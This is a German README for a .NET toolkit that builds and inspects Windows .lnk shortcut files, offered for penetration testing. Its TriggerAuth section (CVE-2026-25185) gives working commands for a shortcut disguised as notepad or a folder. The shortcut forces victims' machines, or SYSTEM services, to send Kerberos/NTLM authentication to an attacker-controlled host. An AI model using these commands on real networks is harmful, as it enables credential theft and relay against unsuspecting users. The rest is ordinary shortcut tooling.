
Lnk-Erstellung und Forschungswerkzeuge
# LnkMeMaybe Ein .NET 8-Toolkit zum Erstellen und Analysieren von Windows-Shell-Link-Dateien (`.lnk`). Enthält einen Befehlszeilen-Builder (`LnkMeMaybe`) und einen grafischen Editor (`LnkUi`). Vorgesehen für Sicherheitsforschung und Penetrationstests. --- ## Projekte | Projekt | Beschreibung | |---------|--------------| | `Lnk/` | Kernbibliothek. Parst und erzeugt das `.lnk`-Binärformat gemäß der [MS-SHLLINK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/)-Spezifikation. `LnkHandler` ist der Haupteinstiegspunkt und setzt sich zusammen aus `ShellLinkHeader`, `LinkTargetIDList`, `LinkInfo`, `StringData` und `ExtraData`. | | `LnkMeMaybe/` | CLI-Tool. Befehle zum Erzeugen verschiedener `.lnk`-Dateien. Verwendet das Titanis.Cli-Framework. | | `LnkUi/` | Avalonia-11-MVVM-Desktop-Editor. Sieben ViewModels kapseln die entsprechenden Komponenten der `Lnk`-Bibliothek. Nützlich für manuelle Erkundung und Inspektion von `.lnk`-Dateien. | | `LnkTests/` | MSTest-Suite. Echte `.lnk`-Dateibeispiele sind als Ressourcen eingebettet. Abgedeckt werden `ShellLinkHeader` und `LinkInfo`. | --- ## CLI — LnkMeMaybe ### Allgemeine Parameter Allen Befehlen sind die folgenden Basisparameter gemeinsam (aus `BaseSavedCommand`): | Parameter | Alias | Erforderlich | Beschreibung | |-----------|-------|--------------|--------------| | `--OutputPath` | | Ja | Dateisystempfad zum Schreiben der `.lnk`-Datei. | | `--Overwrite` | | Nein | Überschreiben einer vorhandenen Datei unter `OutputPath` erlauben. | | `--DisplayName` | | Nein | Text, der beim Überfahren der Verknüpfung angezeigt wird. Unterstützt `\n` für Zeilenumbrüche. | | `--IconPath` / `-I` | `-I` | Nein | Pfad zu einer `.exe` oder `.dll`, die als Verknüpfungssymbol verwendet werden soll. Muss auf dem **Ziel**system vorhanden sein. | | `--IconIndex` | | Nein | Index der Symbolressource innerhalb der mit `--IconPath` angegebenen Datei. Standard: `0`. | --- ### `TriggerAuth` (CVE-2026-25185) Erstellt eine `.lnk`, die Kerberos-Authentifizierung (mit Rückfall auf NTLM) an einen angegebenen Server auslöst. Die `.lnk` führt **nichts** aus. **Szenarien, in denen Authentifizierung ausgelöst wird:** 1. Ein Benutzer durchsucht die Freigabe, die die `.lnk` enthält — das Benutzerkonto authentifiziert sich ausgehend. 2. Die `.lnk` wird an einem Ort abgelegt, den der Rechner zu indizieren konfiguriert ist — `SearchProtocolHost` authentifiziert sich als SYSTEM. 3. MSSense ist aktiv und der Speicherort ist nicht ausgenommen — `MSSense.exe` authentifiziert sich als SYSTEM. **Parameter:** | Parameter | Alias | Erforderlich | Beschreibung | |-----------|-------|--------------|--------------| | `--FakePath` / `-F` | `-F` | Ja | Pfad, der in den `.lnk`-Eigenschaften als Ziel angezeigt wird. | | `--Server` / `-S` | `-S` | Ja | Servername, IP oder UNC-Pfad, an den die Authentifizierung gesendet wird. Hängt `IPC$` an, wenn keine Freigabe angegeben ist. | | `--Darwin` | | Nein | Darwin-Kennung, die in der `.lnk` gespeichert wird. Kann ein beliebiger Wert sein. Standard: `unset`. | **Beispiele:** ``` # Authentifizierung an \\controlled.example.org\IPC$ senden, während man sich als notepad ausgibt LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk # Authentifizierung an einen bestimmten Freigabepfad senden, während man sich als Ordnerverknüpfung ausgibt LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk ``` --- ### `WebShortcut` Erstellt eine `.lnk`-Datei, die auf eine Web-URL verweist. Normalerweise erstellt Windows für Webverknüpfungen eine `.url`-Datei; dieser Befehl erzeugt stattdessen eine `.lnk`. **Parameter:** | Parameter | Erforderlich | Beschreibung | |-----------|--------------|--------------| | `--Url` | Ja | Die URL, auf die die Verknüpfung zeigen soll. Muss eine wohlgeformte absolute URI sein. | **Beispiel:** ``` LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk ``` --- ### `LocalShortcut` Erstellt eine standardmäßige Windows-Verknüpfung zu einer lokalen Datei oder einem lokalen Ordner. Der Zielpfad wird als Shell-Element-ID-Liste (PIDL) gespeichert — das native Format, das Windows für Dateisystemverknüpfungen verwendet. **Parameter:** | Parameter | Alias | Erforderlich | Beschreibung | |-----------|-------|--------------|--------------| | `--TargetPath` | | Ja | Absoluter Pfad zur Zieldatei oder zum Zielordner. | | `--Arguments` | | Nein | Befehlszeilenargumente, die an das Ziel übergeben werden. | | `--WorkingDirectory` | `-W` | Nein | Arbeitsverzeichnis für den Zielprozess. | | `--RunAsAdmin` | | Nein | UAC-Erhöhung anfordern, wenn die Verknüpfung gestartet wird. | | `--ShowCommand` | | Nein | Fensterzustand beim Start: `Normal`, `Maximized` oder `Minimized`. | **Beispiele:** ``` # Eine Verknüpfung zu Editor erstellen LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk # Verknüpfung mit Argumenten und benutzerdefiniertem Symbol LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe # Verknüpfung, die maximiert geöffnet wird und eine Erhöhung anfordert LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk ``` --- ### `EnvShortcut` Erstellt eine `.lnk`, bei der der Zielpfad als erweiterbarer Umgebungsvariablen-String gespeichert wird (`EnvironmentVariableDataBlock`). Dies ist das Format, das Windows für Verknüpfungen zu Systemprogrammen verwendet (z. B. `%SystemRoot%\system32\notepad.exe`). Variablen werden beim Start expandiert, wodurch die Verknüpfung über Windows-Installationen hinweg portabel ist. **Parameter:** | Parameter | Alias | Erforderlich | Beschreibung | |-----------|-------|--------------|--------------| | `--TargetPath` | | Ja | Zielpfad, kann Umgebungsvariablen wie `%SystemRoot%` oder `%USERPROFILE%` enthalten. | | `--Arguments` | | Nein | Befehlszeilenargumente, die an das Ziel übergeben werden. | | `--WorkingDirectory` | `-W` | Nein | Arbeitsverzeichnis für den Zielprozess. | | `--RunAsAdmin` | | Nein | UAC-Erhöhung anfordern, wenn die Verknüpfung gestartet wird. | | `--ShowCommand` | | Nein | Fensterzustand beim Start: `Normal`, `Maximized` oder `Minimized`. | **Beispiele:** ``` # Verknüpfung zu Editor mit einem Umgebungsvariablenpfad LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk # Verknüpfung zu einer App im Benutzerprofil mit Argumenten LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk ``` --- ## Erstellen ```bash # Erstellen (Debug) dotnet build Lnk.sln # Erstellen (Release, nur Kernprojekte) dotnet build -c Release build.slnf # Alle Tests ausführen dotnet test # Eine bestimmte Testklasse ausführen dotnet test --filter "ClassName=lnkHeader" # Eigenständige ausführbare Einzeldatei veröffentlichen (Windows x64) dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj ``` --- ## Veröffentlichungen Vorgefertigte Binärdateien für Windows, Linux und macOS (x64 und arm64) sind auf der Seite [Releases](../../releases) verfügbar. Jede Veröffentlichung enthält sowohl **eigenständige** (keine .NET-Laufzeit erforderlich) als auch **frameworkabhängige** (erfordert .NET 8-Laufzeit) Builds für `LnkMeMaybe` und `LnkUi`. ## Hinweis zur KI-Nutzung KI-Systeme wurden für die folgenden Aufgaben eingesetzt: - Code-Qualitätsprüfung - README-Erstellung - GitHub-Workflow-Aktionen Der in diesem Repository enthaltene Code wurde ansonsten von Menschen erstellt und überprüft.